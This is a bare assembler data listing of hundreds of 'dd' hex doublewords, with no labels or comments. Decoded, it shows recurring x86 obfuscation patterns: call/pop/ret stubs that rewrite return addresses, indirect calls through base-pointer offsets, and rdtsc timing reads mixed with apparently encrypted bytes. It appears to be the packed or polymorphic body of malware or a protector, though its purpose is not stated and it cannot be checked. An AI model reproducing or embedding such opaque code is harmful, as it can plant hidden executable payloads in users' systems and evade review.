dd 0F3EDE9AEh, 0BD03FFFFh, 6481BA1h, 0B9BD8B52h, 5F06480Bh
dd 0F381C18Bh, 41190C02h, 9859501h, 858D0648h, 6481255h
dd 1AF18D89h, 50900648h, 8E9h, 86E91A00h, 2855EF65h, 0BD29904Eh
dd 64819C9h, 8B66006Ah, 6A006AD9h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D351C353h
dd 627D505Ah, 5D8D09D7h, 0F06480Ah, 858DDEBFh, 64C74B8h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6CC35747h
dd 0D1725DB4h, 83C36345h, 6A05C0h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0D1BB71C3h, 0F33D5B9h
dd 0F90D8BFh, 0D83h, 19BF6000h, 0F7A50E3h, 88h, 0B3506100h
dd 6A90F2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0F2558C3h, 6ADEBFh, 27D7DB81h, 6A1534h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 34C35747h, 95FFF5DBh
dd 6482B2Dh, 8D5BF852h, 4B99388Dh, 13E906h, 0C6BF0000h
dd 4AAE858Bh, 0EA3A5E44h, 6063B42Ah, 0F0DF04A2h, 6AD1FF76h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 8CB8C351h, 2B97C9E8h, 8D895583h, 6480B21h
dd 30E5BD83h, 0F010648h, 0BC85h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 459D3128h
dd 2DB501A7h, 6A064828h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 364F82D9h, 0FC317092h
dd 50605350h, 5A310F52h, 8B0F58h, 61000000h, 2404895Fh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0CAC35747h
dd 0E8DDA338h, 0B6BF7EB0h, 0FF4F9928h, 48005195h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 212C4C95h, 6820Fh, 9D8B0000h, 6482019h, 342C8EBBh, 0DC3E931h
dd 0E80000h, 5D000000h, 74C2ED81h, 6A064Ch, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DA395AC3h
dd 0BB66FA8Dh, 860FFFBFh, 1Dh, 11E8h, 2DD0C100h, 0DD8F00A3h
dd 52FB89BCh, 0F9312C7Ch, 0BD8BA549h, 6480049h, 0FF88B5Bh
dd 68Fh, 0B19D8900h, 8D06480Eh, 4B93DA85h, 89D98A06h, 48323D95h
dd 0E8609006h, 0Ah, 36E31460h, 10E141CEh, 8F0FC673h, 0
dd 0BA66565Ah, 6159F24Ah, 0B8666050h, 0E8B1BB1Ch, 0DC8A9061h
dd 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0E518C355h, 64EEA232h
dd 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 1E3F24C3h, 64B19E24h, 0E97735C3h
dd 0Dh, 604BCB55h, 7A489C3Ah, 0F413F98Bh, 0D185FFCDh, 8906481Ah
dd 480CA1BDh, 6AFF6A06h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 8434C353h, 0FF6B3E2Bh
dd 480D3DB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 0E4639894h, 8B664F17h, 0D995FFFBh
dd 0E9064810h, 14Ah, 14B98529h, 12E80648h, 3E000000h, 0B142D8E5h
dd 7E5E2060h, 86951D98h, 5E3B1B99h, 6840FE7h, 31000000h
dd 48099D85h, 0B05B06h, 0CE59589h, 9D8B0648h, 6481549h
dd 0B70F70E6h, 5171E4DEh, 159D2960h, 8106480Dh, 470246E1h
dd 3C5B6113h, 0F3830F61h, 0BF000000h, 3143C1A3h, 0F9C8B60Fh
dd 13119D8Bh, 6BA0648h, 8B000000h, 5D8509C1h, 0C1064811h
dd 8B6604E8h, 66F98BD8h, 12E9E2F7h, 83000000h, 0C9C1E27h
dd 0AD8A1062h, 0D9B563B7h, 531F6381h, 60C82BFBh, 0FE9h
dd 0AE2A2400h, 3C1EC7E1h, 0B364691h, 8D8CABC4h, 61FFB70Fh
dd 8A0FD18Bh, 1, 3E9F5h, 0BF0F0000h, 71858BFEh, 83064817h
dd 880F07C0h, 6, 7518D89h, 0C0830648h, 0D88B6600h, 830FD03Bh
dd 20h, 13E9h, 0A943F700h, 0E5106324h, 0E30F1DBAh, 9BA1F543h
dd 11A84CD1h, 49E9h, 0F9BF0F00h, 12B58D8Bh, 8D0F0648h
dd 6, 29918D89h, 9D8B0648h, 6483175h, 0F01E183h, 2584h
dd 83D7B300h, 4812B5A5h, 8157FE06h, 5CA90BE7h, 95895B5Ah
dd 6481771h, 3890Fh, 8B660000h, 0E9D9h, 0B58D0000h, 64BFC48h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h
dd 66F371EEh, 6A8DD5BBh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 5BB830B4h, 8D893911h
dd 6482BB9h, 92D95FFh, 0DA8B0648h, 74AB9h, 0FAF38100h
dd 830A634Eh, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0E7D7A6C3h, 6AFCF8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 738C71C3h
dd 89C02B82h, 480B8995h, 0BA06h, 9D8B0000h, 64814A5h, 0D1C233ADh
dd 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0F8C35646h, 6BDB0B6Bh, 3175AA4Ch, 8E940h
dd 8AC30000h, 0DADB2C7Eh, 6A3A07h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0C3E836C3h, 0D8B70F99h
dd 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 9D8B60E3h, 6482AADh, 61C28B66h, 1405958Bh
dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 4F6285C3h, 0C06C3596h, 0E923BDE8h, 0Bh, 0F54A1919h
dd 0D91B47A2h, 8BC77D3Fh, 4830258Dh, 38A0F06h, 0F000000h
dd 0B70FFFBFh, 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
dd 8B58188Bh, 48075D9Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 3ABC9867h, 0FDBD83B0h
dd 64812h, 80840Fh, 11E90000h, 0BB000000h, 97AA260Eh, 9864F812h
dd 0CBEA6513h, 1EF8BCF6h, 0B8h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8D8D8A7Fh
dd 6484E80h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 28C35747h, 0BCA79A00h, 6AE093Bh, 7AEB81FEh, 0FF5F0397h
dd 9E8E1h, 283A0000h, 0E6AA9F0Dh, 8980AE1Bh, 4817F5B5h
dd 0BD835F06h, 6482AD9h, 57840F00h, 8B000004h, 481CD9BDh
dd 0D9BD8306h, 106482Ah, 45F840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 42F679C3h
dd 645213AFh, 3170C56Ah, 48233D85h, 0D9BD8306h, 306482Ah
dd 3F1860Fh, 0BA600000h, 31472008h, 0DE99589h, 60610648h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 6EC35747h
dd 665387EBh, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 279755C3h, 0D3E278E2h, 0E180C5FDh
dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 423107F7h, 0A863550h, 38840FC9h, 66000001h
dd 858BFE8Bh, 6481159h, 0E7E38166h, 19853310h, 6A064812h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 6D9CC353h, 4BF21650h, 0B800F50h, 0E9000000h
dd 6, 0A00700EBh, 4894341h, 55006A24h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 66EDE02Bh
dd 8A8CE781h, 820F006Ah, 27h, 0BE8h, 4332AC00h, 0CD26CBBAh
dd 1DA3F827h, 11E9h, 9F0C0700h, 78A008D3h, 3F6C3AD0h, 0B997D716h
dd 685BC72Eh, 0F0F2F41Ch, 8A6D61BFh, 24048148h, 0F2C0FE3h
dd 9F1BD29h, 95FF0648h, 6480741h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 28C35646h, 3681C292h, 0F7985ECh
dd 680h, 39B58900h, 89064810h, 4BB68985h, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0BC5EEEF8h, 0E976EE00h, 19Eh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 55C35040h, 9B52904h, 8B064817h
dd 4BB68185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0EBE03900h, 23FE8B66h, 481AED9Dh
dd 1800C706h, 8B000000h, 4BB685B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0C858949Dh
dd 899422F9h, 4826C995h, 85858B06h, 0E906481Ah, 6, 0C739F192h
dd 8D89DEE6h, 6481289h, 6A0689h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0CB1E7CC3h, 858BFE8Ah
dd 6481159h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 0ABC35646h, 0C5923D1Bh, 50D648E8h, 0DD9D89F9h
dd 8906480Dh, 0BF0F0446h, 7AB796DBh, 13E89650h, 33000000h
dd 3FDE65BFh, 863A02E8h, 0D64CB7F0h, 1A0EA74Ch, 0FF5BADF6h
dd 4BB681B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 8B14E402h, 4802299Dh, 66C36806h
dd 0DF8BDC8Ch, 3C240481h, 8023929Dh, 858D96EBh, 64BB689h
dd 0DA59D2Bh, 0BF900648h, 923D37Fh, 903DB750h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C8C35646h, 7FB9769Ch
dd 61ADA432h, 21CDBBBAh, 95FF7698h, 6480741h
dd 7862C381h, 0BB66165Ch, 6A619434h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6600C357h
dd 8B304ABFh, 480F299Dh, 7E906h, 31EC0000h, 61B9B0B9h
dd 0D985C70Eh, 306482Ah, 0E9000000h, 8, 0A77D5FC5h, 0A9C47159h
dd 0B689BD83h, 0F00064Bh, 6684h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0AE8BD6Eh
dd 4C000000h, 0D2D8D54Ch, 0E6AD53B9h, 5DBD8904h, 5F064832h
dd 49E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0CE9E0E8h, 76000000h, 0A3E9F1E2h
dd 0A3DCEADCh, 500DD061h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 840FC08Bh, 1, 0EE9F5h, 1E4B0000h
dd 8E93BD98h, 30F667DCh, 3F43CD8Ah, 2AD9BD83h, 0F030648h
dd 3EC85h, 0D7816600h, 0BD8383ACh, 64BB689h, 0DA840F00h
dd 0F000003h, 0B5FFFEB7h, 64BB689h, 13E957h, 0DD320000h
dd 470FA121h, 23803EBEh, 361C89B7h, 0B882B891h, 95FF5B1Dh
dd 64809F5h, 8BFAB70Fh, 4BB67DB5h, 0F58D2906h, 0C7064804h
dd 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 5009BC5Dh, 19820F60h, 0E9000000h
dd 14h, 4F3C7CC2h, 258C6340h, 3679F764h, 6608E914h, 3F512E1Bh
dd 12A359BAh, 3489615Ah, 6880F24h, 2B000000h, 4815759Dh
dd 89B5FF06h, 66064BB6h, 95FFFE8Bh, 6480061h, 27A5BD8Bh
dd 0B58B0648h, 64BB67Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 9C35545h, 8B5FD72Eh, 4814499Dh, 25858B06h
dd 6A06480Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 3E86C352h, 665FDD98h, 892A2ABBh
dd 480B2985h, 0C4868906h, 33000000h, 481CD1BDh, 5958B06h
dd 89064814h, 480A81BDh, 4C28306h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 0B0C35747h, 0E94841D7h, 66A9A324h
dd 5089DA8Bh, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 5E9D090h, 0BD000000h, 0FB1E6CEBh
dd 0CAD4858Dh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0BB66F7C3h, 8689EC68h, 0B8h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0DDC35747h, 5BB66B6h
dd 6A006A7Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 6382C355h, 0B689B5FFh, 6A064Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 9FF873C3h, 0EF816FEFh, 0F961EAFh, 5195FFh, 6A0648h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 71F74CC3h, 9589133Ah, 64823B5h, 22959D33h, 0F960648h
dd 88h, 0BF665000h, 6A96D62Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 0C441C357h, 397A66F9h
dd 0B689B5FFh, 0BF66064Bh, 95FF8D55h, 6481429h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 1CC35545h, 0E2FF921Fh
dd 0BD833AE0h, 64831A9h, 1F840F00h, 81000000h, 54FE69D3h
dd 0D5BF9625h, 50028D8Dh, 72CA58BBh, 8B0F963Bh, 6, 1309BD8Bh
dd 0B5FF0648h, 64BB689h, 0FFDAB70Fh, 4813FD95h, 3D9D2B06h
dd 0FF064820h, 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0AC0D8FB0h
dd 95FFF1A3h, 648177Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 76C35343h, 0AD938AB6h, 0F38CF26h, 684h
dd 0E99D8B00h, 2B064828h, 4807D9BDh, 1DBD8306h, 206482Fh
dd 84840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0F79EAC3h, 858BF8B7h, 6481551h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AFC35646h
dd 8531B773h, 64831FDh, 8E8h, 87C61300h, 10CB5C84h, 68D0FBDh
dd 81000000h, 0DDC9EFDFh, 0C65F5Dh, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 85C7F2D3h
dd 64816E1h, 0
dd 32F07CBFh, 0F353E96Bh, 8D29FFFFh, 648047Dh, 8B66C18Bh
dd 55858DFEh, 80064812h, 0E990FEC7h, 14h, 8390887Ah, 0BD750EA8h
dd 82561B6Eh, 0BC1CEF36h, 0E37FF0DEh, 9E850h, 0A8E90000h
dd 4BD37024h, 0F4ACF68h, 281h, 5B5F5000h, 0DF816690h, 6A7D07h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A7C35343h
dd 6AD98BCBh, 5E800h, 38FE0000h, 818C84B7h, 0AB2924D3h
dd 858D5B36h, 64C840Dh, 4751D381h, 0C0834D45h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 906B57B8h, 35B75250h, 585A310Fh, 0DE950h, 8DA80000h
dd 0EBC1B9D0h, 0DD71F070h, 903C9D7Eh, 0F119D8Bh, 6A0648h
dd 611BD09h, 6A0648h, 0EFDF8166h, 2D95FF60h, 5106482Bh
dd 2F45BD89h, 8D5B0648h, 4B99388Dh, 959D8B06h, 0FF064812h
dd 6840FD1h, 89000000h, 48047D85h, 0E5BD8306h, 1064830h
dd 84850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 53DC3AC3h, 6A026Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4C30E8C3h
dd 0F24B6D79h, 47B7906Eh, 90F98B50h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 54C35646h, 0FF3125C3h, 48005195h
dd 0F7816606h, 5E87400h, 8A000000h, 517DF90Dh, 0FDD38166h
dd 15E95B35h, 0E800000Eh, 0
dd 17ED815Dh, 6A064C84h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 7427C351h, 82525936h
dd 7A59589h, 95310648h, 648312Dh, 93DA858Dh, 0BD8B064Bh
dd 6482339h, 0DE950h, 0DCCB0000h, 441D41B2h, 0B5526A9Bh
dd 8954A652h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 94F719C3h, 5260B0CAh, 805F5951h
dd 6461A7F3h, 35FFh, 81660000h, 8BC8D0F7h, 4829399Dh, 25896406h
dd 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 76C35040h
dd 8D0F2A63h, 6, 203D9509h, 85FF0648h, 6481AD1h, 32699D89h
dd 0FF6A0648h, 0D55B529h, 0B5FF0648h, 6480915h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2AC35141h, 1EC7E1AEh
dd 3646913Ch, 0AE8h, 55C34400h, 0B07DBEA4h, 6635693Dh
dd 4270CF81h, 0D995FF5Bh, 0E9064810h, 131h, 8F0Fh, 0B00000h
dd 0B0D9D8Bh, 70E60648h, 1B05BB66h, 68F0F60h, 0F000000h
dd 85h, 95896000h, 6482401h, 22898531h, 61610648h, 0B70F71E4h
dd 0F613CD9h, 0F483h, 319D8B00h, 0F06482Ah, 9D8BC8B6h
dd 64814F5h, 6BAh, 8BBBB300h, 0D19D0BC1h, 0C1064827h, 850104E8h
dd 64811C9h, 0FE2F766h, 68Dh, 219D8B00h, 6606482Fh, 0B08AF381h
dd 8C0FC82Bh, 0Ch, 850F60h, 66000000h, 61B5AAB8h, 8960D18Bh
dd 480E2195h, 5D958B06h, 61064806h, 6E9h, 759D2B00h, 8B064814h
dd 4811E985h, 62B4BF06h, 0C08370EEh, 0E99D3307h, 8306480Ch
dd 958900C0h, 6481695h, 830FD03Bh, 11h, 294DBD2Bh, 5AE90648h
dd 8B000000h, 4819D5BDh, 658D8B06h, 66064829h, 8B6E36BBh
dd 48161DBDh, 1E18306h, 3B840Fh, 0D7810000h, 78334C2h
dd 0A583FB8Bh, 6482965h, 11E9FEh, 78A20000h, 0DEE71D22h
dd 0B1FE4B09h, 0B2CE69C4h, 57FA600Bh, 2FAD9D33h, 895F0648h
dd 4811E995h, 0DE8B6606h, 0E9h, 5FB58D00h, 0E9064C05h
dd 0Dh, 17B8ACD4h, 48F9FEC3h, 7172BD31h, 8B006A2Fh, 2D95FFFEh
dd 8B064809h, 7A5B9DAh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 0E183CFC3h, 0FCBCB3FCh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8BC35040h
dd 0BABB48B3h, 9B58DD93h, 0B8h, 0E7816600h, 0BA1300h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0A576C350h, 3E6F9F78h, 19BF6647h, 0C233AD87h
dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F8BBDFFDh
dd 0F2ACA7Ch, 890FFBB7h, 6, 29F19589h, 0B70F0648h, 880DFAh
dd 8B660000h, 5958BFBh, 6A064814h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5330C356h
dd 0BB66647Ah, 8D8B56ECh, 6483025h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0E0C35242h, 0DD07536Bh, 5C375724h
dd 0FAB70F4Ch, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 229FD5C3h, 0BDF3478Ah, 10E8600Ch, 0D5000000h
dd 0A3D9A7FDh, 5C7ADB0Ch, 0B1A725E1h, 580D3AD3h, 6860Fh
dd 880F0000h, 0
dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 60F98B02h, 0C6816660h, 8B665E1Eh, 0F68061DFh
dd 0BD8361A2h, 64812FDh, 92840F00h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 3361C357h, 0F4C4B6E8h, 0B8EEE48Ch, 0
dd 85895251h, 6481AC5h, 0BD8B5F5Bh, 6482905h, 4E808D8Dh
dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0B318EC3h, 8F9C8FD9h, 1335BD8Bh, 0E1FF0648h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CC35646h
dd 8E9h, 58DBBA00h, 25079B9h, 0D9BD8392h, 6482Ah, 444840Fh
dd 0BD830000h, 6482AD9h, 52840F01h, 0BF000004h, 76A68DB7h
dd 184CF2BFh, 0D9BD833Fh, 306482Ah, 405860Fh, 0BF0F0000h
dd 6A60FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 12EB5BC3h, 8C66E4E4h, 51006AD9h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 1A681030h
dd 65C956C0h, 0B59D8B78h, 80064823h, 6A04E1h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 6A8ABC3h
dd 1E38166h, 0FC90A88h, 12984h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0F60CEF1h
dd 68Fh, 0C5858900h, 8A06482Ah, 858B61F1h, 6481159h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 53C35141h, 0DD24337Dh
dd 33137D73h, 48121985h, 1880F06h, 0F9000000h, 0D406C381h
dd 60905859h, 8E8h, 0A1E90F00h, 9AF91047h, 3AB86636h, 6E95B15h
dd 0EC000000h, 952C20DEh, 6650611Fh, 6A90FE8Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0DAE7C356h, 0F581F3EBh, 50BD2DBFh, 18EB8057h, 9D01006Ah
dd 6481851h, 0FE7E7568h, 28F0F77h, 0B7000000h, 24348185h
dd 77E17D8Ah, 9198589h, 95FF0648h, 6480741h, 12918529h
dd 85890648h, 64BB689h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 3BC35747h, 14E9h, 262E5600h, 2E599ACAh
dd 0CA7C70A7h, 597D3108h, 635C1C8Fh, 1C0E948h, 0BB660000h
dd 858B48CCh, 64BB681h, 31699D89h, 0C70648h, 18h, 0CF5BD89h
dd 0B58B0648h, 64BB685h, 21BD8Bh, 858B0648h, 6481A85h
dd 6850Fh, 0BD8B0000h, 6481B35h, 6A0689h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4C13B1C3h
dd 62B365D2h, 59858B7Dh, 6A064811h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0CB36C353h
dd 0B45C3F72h, 719D8BCDh, 8906480Ah, 9D8B0446h, 6482F51h
dd 0E8536096h, 8, 0B6FD2BEh, 38673E8Fh, 0CB8B5A5Eh, 13E95061h
dd 15000000h, 0B9188CC8h, 23CCE8B9h, 0CF5C2823h, 49F7B41Eh
dd 89966C7Bh, 480BB9B5h, 81B5FF06h, 60064BB6h, 29FE8B66h
dd 482C4185h, 81666106h, 0E8FE04C7h, 4, 1F03FFh, 0EA50DCBFh
dd 8B66502Fh, 24448BDFh, 52505104h, 4FB3310Fh, 8B5B585Ah
dd 0E8525000h, 5, 2AD55634h, 5BDE8B95h, 0D2BB310Fh, 5A1C8FCAh
dd 24448958h, 880F04h, 58000000h, 5E9h, 62020000h, 858DC5F6h
dd 64BB689h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 2CC35545h, 905B53F8h, 8E8h, 9A314F00h, 0ECA0BC7Eh
dd 0E952504Fh, 0Ah, 0E98FCC74h, 79867521h, 310F3257h, 7E8h
dd 0F440100h, 812F3720h, 5B585A5Fh, 0FD8A5250h, 95FF905Fh
dd 6480741h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 49C35141h, 4D06CFD4h, 9E9h, 0C3848C00h, 6803B15h
dd 6A61A068h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 0C344C355h, 30C1BD8Bh, 85C70648h
dd 6482AD9h, 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 6CC35545h, 0B689BD83h, 0F00064Bh, 4A84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 246D881Dh, 41E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0D02ADD7h, 0E59D3181h
dd 50064827h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 5D8986C3h, 26B7CA75h, 8BB353B1h
dd 319D8B5Bh, 83064808h, 482AD9BDh, 850F0306h, 41Dh, 0B689BD83h
dd 0F00064Bh, 41084h, 0E59D2B00h, 0FF06480Bh, 4BB689B5h
dd 13E806h, 13940000h, 794B2E1h, 0A4F5DC84h, 8C159A5Eh
dd 13866F57h, 12E9DBh, 0EFA20000h, 0DA3B5748h, 438285E7h
dd 0CA0D95CAh, 7629243Fh, 0F781605Fh, 684E6276h, 2E61B58Bh
dd 0FF610648h, 4809F595h, 11E906h, 0D6A0000h, 999BE9D9h
dd 0C075B326h, 0F78D595Bh, 8B1312A8h, 4BB67DB5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0D9259B15h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 817D29C3h, 28EBD95Fh
dd 664BF174h, 5096DE8Bh, 0BE666052h, 6160E1AEh, 5A310F61h
dd 0D88A5058h, 0B9950196h, 0FF064817h, 4BB689B5h, 95FFF906h
dd 6480061h, 68C0Fh, 0CF810000h, 2439E7A7h, 127DBD29h
dd 0B58B0648h, 64BB67Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 10C35545h, 1CAABD99h, 0FA85CFA9h, 0E800F95h
dd 60000000h, 32A99533h, 95310648h, 6481751h, 25858B61h
dd 8B06480Fh, 4827419Dh, 0C4868906h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 1C5DC356h, 0C40FA8CAh, 8B8F7E3Fh, 48140595h, 7DBD8B06h
dd 83064800h, 0BD3304C2h, 6481601h, 6A205089h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0A94FC356h, 0A85B4148h, 0BD8B8896h, 6480D09h, 0CAD4858Dh
dd 8B66064Bh, 0B88689F8h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0DE12C350h
dd 85176A4Eh, 0E3242972h, 705E2EBFh, 0B5896016h, 6480221h
